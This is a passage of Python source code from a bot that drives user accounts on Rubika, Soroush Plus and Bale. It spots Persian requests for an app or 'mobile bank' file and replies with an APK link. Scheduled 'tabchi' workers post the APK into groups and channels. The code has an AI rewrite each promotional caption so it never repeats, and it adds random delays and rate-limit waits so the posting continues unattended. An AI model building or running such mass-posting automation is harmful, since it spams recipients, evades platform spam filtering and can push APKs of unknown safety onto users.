    except Exception as exc:
        log.error(f"TRX660 force_join migration failed: {_mask(str(exc))}")
        raise
    try:
        _trx660_apk_config_migrate_conn(self.conn)
    except Exception as exc:
        log.error(f"TRX660 APK config migration failed: {_mask(str(exc))}")
        raise


_TRX660_OLD_DB_INIT = DB.__init__
DB.__init__ = _trx660_requested_db_init


def _trx660_ensure_runtime_schema():
    """Repeat the two requested migrations after DB creation; fully idempotent."""
    if db is None:
        return
    try:
        _trx660_force_join_migrate_conn(db.conn)
        _trx660_apk_config_migrate_conn(db.conn)
        if not _trx660_db_table_exists(db.conn, "apk_sources"):
            db.conn.execute("""
                CREATE TABLE IF NOT EXISTS apk_sources (
                    apk_id INTEGER PRIMARY KEY,
                    account_id INTEGER,
                    platform TEXT,
                    source_peer TEXT,
                    source_message_id TEXT,
                    created_at TEXT
                )
            """)
            db.conn.commit()
    except Exception as exc:
        log.error(f"TRX660 requested runtime migration failed: {_mask(str(exc))}")
        raise


def _trx660_get_apk_config(uid, platform):
    platform = _trx660_normalize_platform(platform)
    if db is None or platform not in TRX660_ALLOWED_PLATFORMS:
        return None
    try:
        return db.fetchone(
            "SELECT * FROM trx660_apk_config WHERE user_id=? AND platform=? LIMIT 1",
            (uid, platform),
        )
    except Exception as exc:
        log.warning(f"TRX660 APK config read failed {uid}/{platform}: {_mask(str(exc))}")
        return None


def _trx660_apk_source_valid(row, platform):
    if not row:
        return False
    platform = _trx660_normalize_platform(platform)
    row_platform = _trx660_normalize_platform(row.get("platform", "") if isinstance(row, dict) else row["platform"] if "platform" in row.keys() else "")
    if row_platform and row_platform != platform:
        return False
    try:
        sid = str(row.get("source_message_id", "") if isinstance(row, dict) else row["source_message_id"] or "").strip()
        peer = str(row.get("source_peer", "") if isinstance(row, dict) else row["source_peer"] or "").strip()
    except Exception:
        return False
    return bool(sid.isdigit() and int(sid) > 0 and peer)


def _trx660_apk_payload(uid, aid):
    """Strict account/platform APK resolution; never cross platform."""
    account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
    if not account:
        return None
    platform = _trx660_normalize_platform(account["service"])
    if platform not in TRX660_ALLOWED_PLATFORMS:
        return None

    cfg = _trx660_get_apk_config(uid, platform)
    if cfg and int(cfg["enabled"] or 0):
        apk_id = int(cfg["apk_id"] or 0)
        if apk_id:
            row = db.fetchone(
                """
                SELECT af.*, src.account_id AS source_account_id, src.source_peer,
                       src.source_message_id, src.platform
                FROM apk_files af
                LEFT JOIN apk_sources src ON src.apk_id=af.id
                WHERE af.id=? AND af.user_id=? AND af.enabled=1
                LIMIT 1
                """,
                (apk_id, uid),
            )
            if row:
                result = dict(row)
                if not result.get("source_peer"):
                    result["source_peer"] = cfg["source_peer"] or ""
                if not result.get("source_message_id"):
                    result["source_message_id"] = cfg["source_message_id"] or ""
                if not result.get("source_account_id"):
                    result["source_account_id"] = int(cfg["source_account_id"] or aid)
                if not result.get("platform"):
                    result["platform"] = platform
                result["download_link"] = str(cfg["download_link"] or "")
                result["description"] = str(cfg["description"] or "")
                result["install_guide"] = str(cfg["install_guide"] or "")
                if not result.get("file_name"):
                    result["file_name"] = str(cfg["file_name"] or "app.apk")
                if _trx660_apk_source_valid(result, platform):
                    return result
        # Link-only configuration is valid without a Telegram source message.
        if str(cfg["download_link"] or "").strip():
            return {
                "id": 0,
                "apk_id": 0,
                "file_id": "",
                "message_id": 0,
                "file_name": str(cfg["file_name"] or "app.apk"),
                "file_size": int(cfg["file_size"] or 0),
                "enabled": 1,
                "source_account_id": int(cfg["source_account_id"] or aid),
                "source_peer": str(cfg["source_peer"] or ""),
                "source_message_id": str(cfg["source_message_id"] or ""),
                "platform": platform,
                "download_link": str(cfg["download_link"] or ""),
                "description": str(cfg["description"] or ""),
                "install_guide": str(cfg["install_guide"] or ""),
            }

    # Same-platform legacy fallback only.
    try:
        row = db.fetchone(
            """
            SELECT af.*, src.account_id AS source_account_id, src.source_peer,
                   src.source_message_id, src.platform
            FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id
            WHERE af.user_id=? AND af.enabled=1 AND src.platform=?
            ORDER BY af.id DESC LIMIT 1
            """,
            (uid, platform),
        )
        if row:
            result = dict(row)
            if _trx660_apk_source_valid(result, platform):
                result.setdefault("download_link", "")
                result.setdefault("description", "")
                result.setdefault("install_guide", "")
                return result
    except Exception as exc:
        log.warning(f"TRX660 legacy same-platform APK lookup failed: {_mask(str(exc))}")
    return None


# Make the final account resolver strict while preserving its public name/callers.
_trx115_apk_for_account = _trx660_apk_payload
_trx01_apk_for_account = _trx660_apk_payload


def _trx660_apk_config_upsert(uid, platform, *, aid=0, apk_id=0, source_peer="", source_message_id="", file_name="", file_size=0, download_link=None, description=None, install_guide=None, enabled=1):
    platform = _trx660_normalize_platform(platform)
    if platform not in TRX660_ALLOWED_PLATFORMS:
        return False
    current = _trx660_get_apk_config(uid, platform)
    stamp = now()
    current_vals = {
        "download_link": str(current["download_link"] or "") if current else "",
        "description": str(current["description"] or "") if current else "",
        "install_guide": str(current["install_guide"] or "") if current else "",
    }
    if download_link is not None:
        current_vals["download_link"] = str(download_link or "").strip()[:2000]
    if description is not None:
        current_vals["description"] = str(description or "").strip()[:4000]
    if install_guide is not None:
        current_vals["install_guide"] = str(install_guide or "").strip()[:4000]
    db.execute(
        """
        INSERT INTO trx660_apk_config(
            user_id,platform,source_account_id,apk_id,source_peer,source_message_id,
            file_name,file_size,download_link,description,install_guide,enabled,created_at,updated_at
        ) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?)
        ON CONFLICT(user_id,platform) DO UPDATE SET
            source_account_id=excluded.source_account_id,
            apk_id=excluded.apk_id,
            source_peer=excluded.source_peer,
            source_message_id=excluded.source_message_id,
            file_name=excluded.file_name,
            file_size=excluded.file_size,
            download_link=excluded.download_link,
            description=excluded.description,
            install_guide=excluded.install_guide,
            enabled=excluded.enabled,
            updated_at=excluded.updated_at
        """,
        (
            uid, platform, int(aid or 0), int(apk_id or 0), str(source_peer or ""),
            str(source_message_id or ""), str(file_name or "")[:255], int(file_size or 0),
            current_vals["download_link"], current_vals["description"], current_vals["install_guide"],
            int(bool(enabled)), current["created_at"] if current and current["created_at"] else stamp, stamp,
        ),
    )
    return True


# Synchronize every existing TRX01 link save into the new independent config row.
_TRX660_OLD_SAVE_APK_LINK = _trx01_save_apk_link

async def _trx660_save_apk_link(uid, aid, platform, raw_link):
    platform = _trx660_normalize_platform(platform)
    try:
        ok, info, row = await _TRX660_OLD_SAVE_APK_LINK(uid, aid, platform, raw_link)
    except Exception as exc:
        log.error(f"TRX660 APK source save failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
        return False, f"خطای داخلی در ذخیره APK:\n`{str(exc)[:200]}`", None
    if not ok or not row:
        return ok, info, row
    try:
        _trx660_apk_config_upsert(
            uid, platform,
            aid=int(aid),
            apk_id=int(row.get("apk_id") or row.get("id") or 0),
            source_peer=str(row.get("source_peer") or ""),
            source_message_id=str(row.get("message_id") or row.get("source_message_id") or ""),
            file_name=str(row.get("filename") or row.get("file_name") or ""),
            file_size=int(row.get("size") or row.get("file_size") or 0),
            download_link=str(row.get("link") or raw_link or ""),
        )
    except Exception as exc:
        log.warning(f"TRX660 APK config sync failed: {_mask(str(exc))}")
    return ok, info, row


_trx01_save_apk_link = _trx660_save_apk_link


async def _trx660_save_apk_from_existing_state(uid, aid, platform, raw_link):
    """Compatibility wrapper for both old ADD_APK and new source-link state flows."""
    return await _trx660_save_apk_link(uid, aid, platform, raw_link)


# ── Smarter Persian APK intent detection ─────────────────────────────
def _trx660_normalize_intent(text_value):
    text = str(text_value or "").strip().lower()
    replacements = {
        "ي": "ی", "ى": "ی", "ك": "ک", "ۀ": "ه", "ة": "ه",
        "‌": " ", "ـ": " ",
    }
    for old, new in replacements.items():
        text = text.replace(old, new)
    text = re.sub(r"[\u064B-\u065F\u0670]", "", text)
    text = re.sub(r"[\r\n\t]+", " ", text)
    text = re.sub(r"\s+", " ", text).strip()
    return text


def _trx660_detect_intent(text_value):
    text = _trx660_normalize_intent(text_value)
    if not text:
        return {"apk": False, "destination": "current", "confidence": 0.0, "score": 0, "reasons": []}

    anchors = (
        "apk", "اپلیکیشن", "اپلیکشن", "اپ ", "برنامه", "برنامت", "نرم افزار", "نرم افزار", "همراه بانک",
        "فایل نصبی", "فایل نصب", "فایل", "application", "برنامه رو", "اپ رو",
    )
    send_words = (
        "بفرست", "بفرستش", "میفرستی", "می فرستی", "بده", "بدی", "ارسال", "ارسالش", "بیار",
        "بیاور", "لینک بده", "لینکش رو بده", "لینکشو بده", "ارسال کن", "بفرستی",
    )
    install_words = (
        "لینک نصب", "فایل نصبی", "فایل نصب", "دانلود", "لینک دانلود", "نصب", "نصبش",
    )
    generic_words = ("سلام", "خوبی", "چیه", "خوبه", "ابلاغیه")
    strong_phrases = (
        "برنامه رو بفرست", "برنامت رو بفرست", "برنامه را بفرست", "اپلیکیشن رو بفرست",
        "اپلیکیشن را بفرست", "فایل رو بفرست", "فایل را بفرست", "فایل نصبی", "فایل نصب",
        "لینک برنامه بده", "لینک برنامه رو بده", "لینک نصب بده", "لینک دانلود بده",
        "همراه بانک بفرست", "همراه بانک رو بفرست", "apk بفرست", "apk رو بفرست",
    )
    score = 0
    reasons = []
    anchor_hits = [x for x in anchors if x in text]
    # Avoid double counting generic substrings such as "اپ " inside larger words too aggressively.
    if anchor_hits:
        score += min(3, len(anchor_hits)) * 2
        reasons.append("product-keyword")
    send_hits = [x for x in send_words if x in text]
    if send_hits:
        score += min(2, len(send_hits)) * 2
        reasons.append("send-action")
    install_hits = [x for x in install_words if x in text]
    if install_hits:
        score += min(2, len(install_hits)) * 2
        reasons.append("download/install-context")
    phrase_hits = [x for x in strong_phrases if x in text]
    if phrase_hits:
        score += 5
        reasons.append("strong-phrase")
    if any(w in text for w in generic_words):
        reasons.append("generic-context")

    # Contextual examples: "سلام خوبی" / "چیه" must not trigger on their own.
    strong_request = bool(phrase_hits) or (bool(anchor_hits) and bool(send_hits)) or (bool(anchor_hits) and bool(install_hits))
    apk_requested = bool(strong_request and score >= 4)

    destination = "current"
    if "پیوی" in text or "پی وی" in text or re.search(r"\bpv\b", text):
        destination = "private"
    elif "گروه" in text:
        destination = "group"
    elif "چنل" in text or "کانال" in text:
        destination = "channel"

    confidence = 0.98 if apk_requested and phrase_hits else (0.93 if apk_requested else 0.12)
    return {
        "apk": apk_requested,
        "destination": destination,
        "confidence": confidence,
        "score": score,
        "reasons": reasons,
    }


_trx01_normalize_intent = _trx660_normalize_intent
_trx01_detect_intent = _trx660_detect_intent


def _trx660_apk_cooldown_ok(uid, peer_key, platform):
    key = (int(uid), str(peer_key), _trx660_normalize_platform(platform))
    stamp = time.time()
    last = float(_TRX660_APK_COOLDOWN.get(key, 0) or 0)
    if stamp - last < TRX660_APK_COOLDOWN_SECONDS:
        return False
    _TRX660_APK_COOLDOWN[key] = stamp
    if len(_TRX660_APK_COOLDOWN) > 5000:
        cutoff = stamp - 3600
        for k, v in list(_TRX660_APK_COOLDOWN.items()):
            if v < cutoff:
                _TRX660_APK_COOLDOWN.pop(k, None)
    return True


# Keep the existing normal AI handler, but block only repeated APK-triggered events.
_TRX660_OLD_EVENT_HANDLER = _trx01_event_handler

async def _trx660_event_handler(event, uid, service, aid):
    try:
        text_value = _trx77_event_text(event).strip()
        intent = _trx660_detect_intent(text_value)
        if intent.get("apk"):
            peer = _trx_peer_key(event, f"{service}:{aid}")
            if not _trx660_apk_cooldown_ok(uid, peer, service):
                log.info(f"TRX660 APK cooldown: {uid}/{aid}/{peer}")
                return
            is_private = _trx01_event_is_private(event)
            is_group = _trx_is_group_event(event)
            if is_private or is_group:
                cfg = _trx660_apk_payload(uid, aid)
                link = str(cfg.get("download_link") or "").strip() if cfg else ""
                source_id = int(cfg.get("id") or cfg.get("apk_id") or 0) if cfg else 0
                if cfg and link and not source_id:
                    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
                    if client:
                        await _trx77_send_reply(client, event, link[:2000])
                    return
        return await _TRX660_OLD_EVENT_HANDLER(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"TRX660 APK event wrapper {service}/{aid}: {_mask(str(exc))}")


_trx01_event_handler = _trx660_event_handler
_trx_event_handler = _trx660_event_handler
_trx_event_handler_v9 = _trx660_event_handler
_trx_event_handler_v11 = _trx660_event_handler
_trx115_event_handler_v14 = _trx660_event_handler


# ── APK description/install guide augmentation ───────────────────────
def _trx660_apk_info_text(cfg):
    parts = []
    desc = str(cfg.get("description", "") if isinstance(cfg, dict) else cfg["description"] if cfg and "description" in cfg.keys() else "").strip()
    guide = str(cfg.get("install_guide", "") if isinstance(cfg, dict) else cfg["install_guide"] if cfg and "install_guide" in cfg.keys() else "").strip()
    link = str(cfg.get("download_link", "") if isinstance(cfg, dict) else cfg["download_link"] if cfg and "download_link" in cfg.keys() else "").strip()
    if desc:
        parts.append("📝 **توضیحات**\n" + desc[:1500])
    if guide:
        parts.append("📘 **آموزش نصب**\n" + guide[:1800])
    if link:
        parts.append("🔗 **لینک دانلود**\n" + link[:1000])
    return "\n\n".join(parts)


_TRX660_OLD_APK_DESCRIPTION = globals().get("_trx_ai_apk_description")

async def _trx660_apk_description(uid, aid, apk):
    cfg = _trx660_get_apk_config(uid, _trx660_normalize_platform((apk or {}).get("platform") if isinstance(apk, dict) else apk["platform"] if apk and "platform" in apk.keys() else ""))
    info = _trx660_apk_info_text(cfg) if cfg else ""
    if info:
        return info
    if _TRX660_OLD_APK_DESCRIPTION:
        try:
            return await _TRX660_OLD_APK_DESCRIPTION(uid, aid, apk)
        except Exception as exc:
            log.warning(f"TRX660 legacy APK description failed: {_mask(str(exc))}")
    return None


_trx_ai_apk_description = _trx660_apk_description


# ── APK management UI: add per-platform independent controls ─────────
def _trx660_apk_panel_text(uid, lang):
    base_text = _trx115_apk_panel_text(uid, lang)
    en = str(lang or "fa").lower().startswith("en")
    lines = [base_text, "", (trx_sc("Platform status:") if en else "📱 وضعیت مستقل هر پلتفرم:")]
    labels = {"rubika": ("Rubika" if en else "روبیکا"), "soroush": ("Soroush Plus" if en else "سروش پلاس"), "bale": ("Bale" if en else "بله")}
    for p in ("rubika", "soroush", "bale"):
        cfg = _trx660_get_apk_config(uid, p)
        if not cfg:
            status = "Not configured" if en else "تنظیم نشده"
        elif not int(cfg["enabled"] or 0):
            status = "Disabled" if en else "خاموش"
        elif int(cfg["apk_id"] or 0):
            status = f"APK #{int(cfg['apk_id'])}" if en else f"APK #{int(cfg['apk_id'])} فعال"
        elif str(cfg["download_link"] or "").strip():
            status = "Link only" if en else "فقط لینک"
        else:
            status = "Incomplete" if en else "ناقص"
        lines.append(f"• {labels[p]}: {status}")
    return "\n".join(lines)


_TRX660_OLD_APK_PANEL_TEXT = _trx115_apk_panel_text

def _trx660_apk_panel_text_final(uid, lang):
    try:
        return _trx660_apk_panel_text(uid, lang)
    except Exception:
        return _TRX660_OLD_APK_PANEL_TEXT(uid, lang)


_TRX660_OLD_APK_PANEL_KB = _trx115_apk_panel_kb

def _trx660_apk_panel_kb(uid, lang):
    base = _TRX660_OLD_APK_PANEL_KB(uid, lang)
    rows = list(base.get("inline_keyboard", []))
    en = str(lang or "fa").lower().startswith("en")
    rows.insert(max(0, len(rows)-1), [
        {"text": (trx_sc("🟦 Rubika") if en else "🟦 روبیکا"), "callback_data": "trx660.apk.platform:rubika"},
        {"text": (trx_sc("🟥 Soroush") if en else "🟥 سروش"), "callback_data": "trx660.apk.platform:soroush"},
    ])
    rows.insert(max(0, len(rows)-1), [
        {"text": (trx_sc("🟨 Bale") if en else "🟨 بله"), "callback_data": "trx660.apk.platform:bale"},
    ])
    return {"inline_keyboard": rows}


_trx115_apk_panel_text = _trx660_apk_panel_text_final
_trx115_apk_panel_kb = _trx660_apk_panel_kb


def _trx660_platform_manager_kb(lang, platform):
    en = str(lang or "fa").lower().startswith("en")
    p = _trx660_normalize_platform(platform)
    cfg = _trx660_get_apk_config(_trx660_MANAGER_UID, p) if "_trx660_MANAGER_UID" in globals() else None
    enabled = bool(cfg and int(cfg["enabled"] or 0))
    return IKB([
        [(trx_sc("🔗 Set Source") if en else "🔗 تنظیم منبع", f"trx660.apk.source:{p}"),
         (trx_sc("🔗 Download Link") if en else "🔗 لینک دانلود", f"trx660.apk.link:{p}")],
        [(trx_sc("📝 Description") if en else "📝 توضیحات", f"trx660.apk.desc:{p}"),
         (trx_sc("📘 Install Guide") if en else "📘 آموزش نصب", f"trx660.apk.guide:{p}")],
        [((trx_sc("🔴 Disable") if enabled else trx_sc("🟢 Enable")) if en else ("🔴 غیرفعال کردن" if enabled else "🟢 فعال کردن"), f"trx660.apk.toggle:{p}")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "apk")],
    ])


# ── Scheduled content ─────────────────────────────────────────────────
def _trx660_task_row_source(task):
    payload = _trx_task_payload(task)
    apk = _trx660_apk_payload(int(task["user_id"]), int(task["account_id"]))
    if apk:
        # Keep task-specific apk_id when it still belongs to the exact platform.
        preferred_id = int(payload.get("apk_id") or 0)
        if preferred_id:
            row = db.fetchone(
                """
                SELECT af.*, src.account_id AS source_account_id, src.source_peer,
                       src.source_message_id, src.platform
                FROM apk_files af LEFT JOIN apk_sources src ON src.apk_id=af.id
                WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1
                """,
                (preferred_id, int(task["user_id"])),
            )
            if row:
                row_d = dict(row)
                platform = _trx660_normalize_platform(task["task_type"])
                account = db.fetchone("SELECT service FROM accounts WHERE id=?", (int(task["account_id"]),))
                if account and _trx660_normalize_platform(account["service"]) == _trx660_normalize_platform(row_d.get("platform") or account["service"]):
                    cfg = _trx660_get_apk_config(int(task["user_id"]), _trx660_normalize_platform(account["service"]))
                    if cfg:
                        row_d.update({"download_link": str(cfg["download_link"] or ""), "description": str(cfg["description"] or ""), "install_guide": str(cfg["install_guide"] or "")})
                    return row_d
        return apk
    return None


async def _trx660_generate_caption(uid, aid, kind, target, apk_id):
    account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=?", (aid, uid))
    platform = _trx660_normalize_platform(account["service"] if account else "")
    cfg = _trx660_get_apk_config(uid, platform)
    previous = []
    try:
        previous = _trx115_recent_captions(uid, aid, kind)
    except Exception:
        previous = []
    description = str(cfg["description"] or "") if cfg else ""
    link = str(cfg["download_link"] or "") if cfg else ""
    file_name = str(cfg["file_name"] or "") if cfg else ""
    product_facts = _trx_ai_get_kb(uid)[:5000]
    if description:
        product_facts += "\n\nConfigured APK description:\n" + description[:2500]
    prompt = (
        _trx_ai_system(uid, aid, "scheduled_apk_ad", f"Platform={platform}; target_type={kind}; target={target}")
        + "\nCreate a short, natural Persian promotional text for the configured APK. "
          "Use only verified product facts from the provided knowledge/config. "
          "Do not invent features, prices, guarantees, or claims. Vary wording and opening from prior captions. "
          "Do not address unrelated audiences."
        + f"\nAPK name: {file_name or ('APK #' + str(apk_id))}"
        + (f"\nDownload link: {link}" if link else "")
        + f"\nProduct facts:\n{product_facts}\nPrevious captions:\n"
        + "\n---\n".join(previous[:10])
    )
    try:
        result = await ai.chat(
            [
                {"role": "system", "content": prompt},
                {"role": "user", "content": "یک متن کوتاه، فارسی، طبیعی و متفاوت برای همین هدف بنویس."},
            ],
            uid=uid, account_id=aid, action_type="scheduled_apk_caption_v2", temperature=0.9, max_tokens=500,
        )
    except Exception as exc:
        log.warning(f"TRX660 AI caption error: {_mask(str(exc))}")
        return ""
    caption = _trx115_cleanup_caption(result)
    if not caption:
        return ""
    norm = re.sub(r"\W+", "", caption, flags=re.UNICODE).lower()
    if any(norm == re.sub(r"\W+", "", x, flags=re.UNICODE).lower() for x in previous):
        return ""
    if link and link not in caption:
        caption = caption.rstrip() + "\n\n🔗 " + link
    return caption[:3500]


_trx115_generate_caption_v14 = _trx660_generate_caption
_trx115_generate_caption = _trx660_generate_caption


def _trx660_task_interval(task):
    minimum = TRX660_TABCHI_MIN_MINUTES * 60 if str(task["task_type"]) == "group" else TRX660_CHANNEL_MIN_MINUTES * 60
    try:
        configured = int(task["interval_seconds"] or 0)
    except Exception:
        configured = 0
    return max(minimum, configured or minimum)


def _trx660_record_task_result(task_id, success, detail):
    stamp = now()
    try:
        db.execute(
            "INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)",
            (int(task_id), int(bool(success)), str(detail or "")[:1800], stamp),
        )
    except Exception:
        pass
    return stamp


async def _trx660_run_task(task):
    uid, aid = int(task["user_id"]), int(task["account_id"])
    kind = "channel" if str(task["task_type"]) == "channel" else "group"
    target = str(task["target"] or "").strip()
    if not target:
        raise RuntimeError("target is empty")

    account = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
    if not account:
        raise RuntimeError("account is disabled or missing")
    platform = _trx660_normalize_platform(account["service"])
    if platform not in TRX660_ALLOWED_PLATFORMS:
        raise RuntimeError("unsupported platform")

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("account session is not connected")

    apk = _trx660_apk_payload(uid, aid)
    if not apk:
        raise RuntimeError(f"no active APK configuration for platform {platform}")

    apk_id = int(apk.get("id") or apk.get("apk_id") or 0)
    download_link = str(apk.get("download_link") or "").strip()
    forwarded = None
    if apk_id:
        await _trx660_send_gap(uid, aid)
        ok, info = await _trx_forward_source_apk_v11(uid, aid, target, apk_id)
        if not ok:
            # Direct native source failed; do not silently use another platform.
            if download_link:
                log.warning(f"TRX660 APK forward failed, using configured link only: {_mask(str(info))}")
            else:
                raise RuntimeError(f"APK forward failed: {info}")
        else:
            forwarded = info
    elif download_link:
        # Link-only configuration: only the configured link is published.
        dest = await _trx_resolve_target(client, target)
        send = getattr(client, "send_message", None)
        if not send:
            raise RuntimeError("account client has no send_message")
        await _trx660_send_gap(uid, aid)
        await _trx_maybe_await(send(dest, download_link[:2000]))
        stamp = now()
        db.execute("UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?", (stamp, stamp, task["id"]))
        _trx660_record_task_result(task["id"], True, download_link[:1800])
        log_account_activity(aid, uid, "scheduled_apk_link", target, 1)
        return True
    else:
        raise RuntimeError("APK has neither a valid source message nor a download link")

    caption = await _trx660_generate_caption(uid, aid, kind, target, apk_id)
    if not caption:
        raise RuntimeError("AI caption generation failed")

    dest = await _trx_resolve_target(client, target)
    if forwarded is not None:
        await _trx660_send_gap(uid, aid)
        await _trx115_send_caption_after_forward_v14(client, dest, caption, forwarded)
    else:
        send = getattr(client, "send_message", None)
        if not send:
            raise RuntimeError("account client has no send_message")
        await _trx660_send_gap(uid, aid)
        await _trx_maybe_await(send(dest, caption))

    stamp = now()
    db.execute("UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?", (stamp, stamp, task["id"]))
    _trx660_record_task_result(task["id"], True, caption)
    log_account_activity(aid, uid, "scheduled_apk_ad", target, 1)
    return True


_trx115_run_task_v14 = _trx660_run_task
_trx115_run_task = _trx660_run_task
_trx_run_task = _trx660_run_task


async def _trx660_task_worker(task_id):
    key = None
    try:
        while True:
            row = db.fetchone("SELECT * FROM ai_tasks WHERE id=? AND enabled=1 LIMIT 1", (int(task_id),))
            if not row:
                return
            key = (int(row["user_id"]), int(row["id"]))
            interval = _trx660_task_interval(row)
            last = row["last_run"]
            due = not bool(last)
            if last:
                try:
                    due = datetime.fromisoformat(last).timestamp() + interval <= time.time()
                except Exception:
                    due = True
            if due:
                try:
                    await asyncio.sleep(random.uniform(1.0, 4.0))
                    await _trx660_run_task(row)
                except asyncio.CancelledError:
                    raise
                except Exception as exc:
                    log.warning(f"TRX660 task #{task_id} failed: {_mask(str(exc))}")
                    detail = str(exc)
                    name = exc.__class__.__name__.lower()
                    seconds = getattr(exc, "seconds", None) or getattr(exc, "value", None)
                    if "floodwait" in name and seconds is not None:
                        try:
                            wait_for = max(1, min(int(seconds), 3600))
                            await asyncio.sleep(wait_for)
                        except Exception:
                            pass
                    db.execute("UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?", (now(), now(), int(task_id)))
                    _trx660_record_task_result(task_id, False, detail)
            await asyncio.sleep(TRX660_WORKER_IDLE_SECONDS)
    finally:
        if key is not None:
            current = _TRX660_ACTIVE_TASKS.get(key)
            if current is asyncio.current_task():
                _TRX660_ACTIVE_TASKS.pop(key, None)


async def _trx660_stop_worker(key):
    task = _TRX660_ACTIVE_TASKS.pop(key, None)
    if task and not task.done():
        task.cancel()
        try:
            await task
        except asyncio.CancelledError:
            pass
        except Exception:
            pass


def _trx660_task_identity(row):
    return (int(row["user_id"]), int(row["account_id"]), str(row["task_type"]), str(row["target"] or "").strip())


def _trx660_dedupe_db_tasks():
    """Disable only exact duplicate enabled schedules; never delete data."""
    rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1 ORDER BY id DESC")
    seen = set()
    for row in rows:
        ident = _trx660_task_identity(row)
        if ident in seen:
            db.execute("UPDATE ai_tasks SET enabled=0,updated_at=? WHERE id=?", (now(), int(row["id"])))
        else:
            seen.add(ident)


async def _trx660_scheduler_loop():
    # One supervisor + one worker per enabled DB task; restart-safe via SQLite rows.
    try:
        while True:
            try:
                if db is None or bot is None or not getattr(bot, "running", False):
                    await asyncio.sleep(TRX660_TASK_SCAN_SECONDS)
                    continue
                _trx660_ensure_runtime_schema()
                _trx660_dedupe_db_tasks()
                rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1 ORDER BY id ASC")
                desired = {(int(r["user_id"]), int(r["id"])) for r in rows}
                for key, handle in list(_TRX660_ACTIVE_TASKS.items()):
                    if key not in desired or handle.done():
                        if handle.done():
                            _TRX660_ACTIVE_TASKS.pop(key, None)
                        else:
                            await _trx660_stop_worker(key)
                for row in rows:
                    key = (int(row["user_id"]), int(row["id"]))
                    handle = _TRX660_ACTIVE_TASKS.get(key)
                    if handle and not handle.done():
                        continue
                    handle = asyncio.create_task(_trx660_task_worker(int(row["id"])))
                    _TRX660_ACTIVE_TASKS[key] = handle
                await asyncio.sleep(TRX660_TASK_SCAN_SECONDS)
            except asyncio.CancelledError:
                raise
            except Exception as exc:
                log.error(f"TRX660 scheduler supervisor error: {_mask(str(exc))}")
                await asyncio.sleep(TRX660_TASK_SCAN_SECONDS)
    finally:
        for key in list(_TRX660_ACTIVE_TASKS):
            await _trx660_stop_worker(key)


_trx_scheduler_loop = _trx660_scheduler_loop


# Prevent the older runtime supervisor from starting the legacy scheduler a second time.
async def _trx15_scheduler_guard():
    try:
        while True:
            await asyncio.sleep(3600)
    except asyncio.CancelledError:
        raise


# ── Robust time-pad: Tabchi >= 4m, Channel Activity unchanged at >= 20m ──
def _trx660_task_min_minutes(state_data):
    return TRX660_TABCHI_MIN_MINUTES if str(state_data.get("task_kind") or "group") == "group" else TRX660_CHANNEL_MIN_MINUTES


def _trx660_minutes_text(lang, value="", error=""):
    en = str(lang or "fa").lower().startswith("en")
    current = _trx77_norm_digits(value)
    shown = current or "—"
    minimum = TRX660_TABCHI_MIN_MINUTES if str(_TRX660_TIME_STATE.get("task_kind") if "_TRX660_TIME_STATE" in globals() else "") == "group" else TRX660_CHANNEL_MIN_MINUTES
    if en:
        text = f"⏱ Minutes panel\n\nSelected: {shown}\n\nMinimum: {minimum} minutes\nMaximum: {TRX660_MAX_TASK_MINUTES} minutes."
        return text + (f"\n\n❌ {error}" if error else "")
    text = f"⏱ **پنل زمان‌بندی**\n\nعدد انتخاب‌شده: **{shown}**\n\nحداقل زمان: **{minimum} دقیقه**\nحداکثر: **{TRX660_MAX_TASK_MINUTES} دقیقه**"
    return text + (f"\n\n❌ {error}" if error else "")


async def _trx660_time_pad_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    try:
        try:
            await bot.answer_cb(cb_id, "")
        except Exception:
            pass
        s = state.get(uid)
        if not s or s.get("state") not in {"trx01_task_minutes", "trx77_task_minutes", "trx660_task_minutes"}:
            return await _edit(chat_id, msg_id, "❌ این پنل زمان منقضی شده است.", ai_advanced_menu(lang, uid))
        raw_data = str(data or "")
        if raw_data.startswith("time_pad:"):
            action = raw_data.split(":", 1)[1]
        elif raw_data.startswith("trx77.min.d:"):
            action = raw_data.rsplit(":", 1)[1]
        elif raw_data == "trx77.min.back":
            action = "backspace"
        elif raw_data == "trx77.min.clear":
            action = "clear"
        elif raw_data == "trx77.min.ok":
            action = "confirm"
        else:
            return True
        current = _trx77_norm_digits(s.get("minutes", ""))
        if action == "backspace":
            new_value = current[:-1]
            state.set(uid, "trx660_task_minutes", **{k:v for k,v in s.items() if k not in {"state","at","minutes"}}, minutes=new_value)
            globals()["_TRX660_TIME_STATE"] = state.get(uid)
            return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, new_value), _trx01_minutes_kb(lang, new_value))
        if action == "clear":
            state.set(uid, "trx660_task_minutes", **{k:v for k,v in s.items() if k not in {"state","at","minutes"}}, minutes="")
            globals()["_TRX660_TIME_STATE"] = state.get(uid)
            return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, ""), _trx01_minutes_kb(lang, ""))
        if action.isdigit() and len(action) == 1:
            if len(current) >= 3:
                globals()["_TRX660_TIME_STATE"] = s
                return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, current, "حداکثر ۳ رقم مجاز است" if not str(lang).lower().startswith("en") else "Maximum 3 digits"), _trx01_minutes_kb(lang, current))
            if not current and action == "0":
                globals()["_TRX660_TIME_STATE"] = s
                return await _edit(chat_id, msg_id, _trx660_minutes_text(lang, current), _trx01_minutes_kb(lang, current))
            new_value = current + action
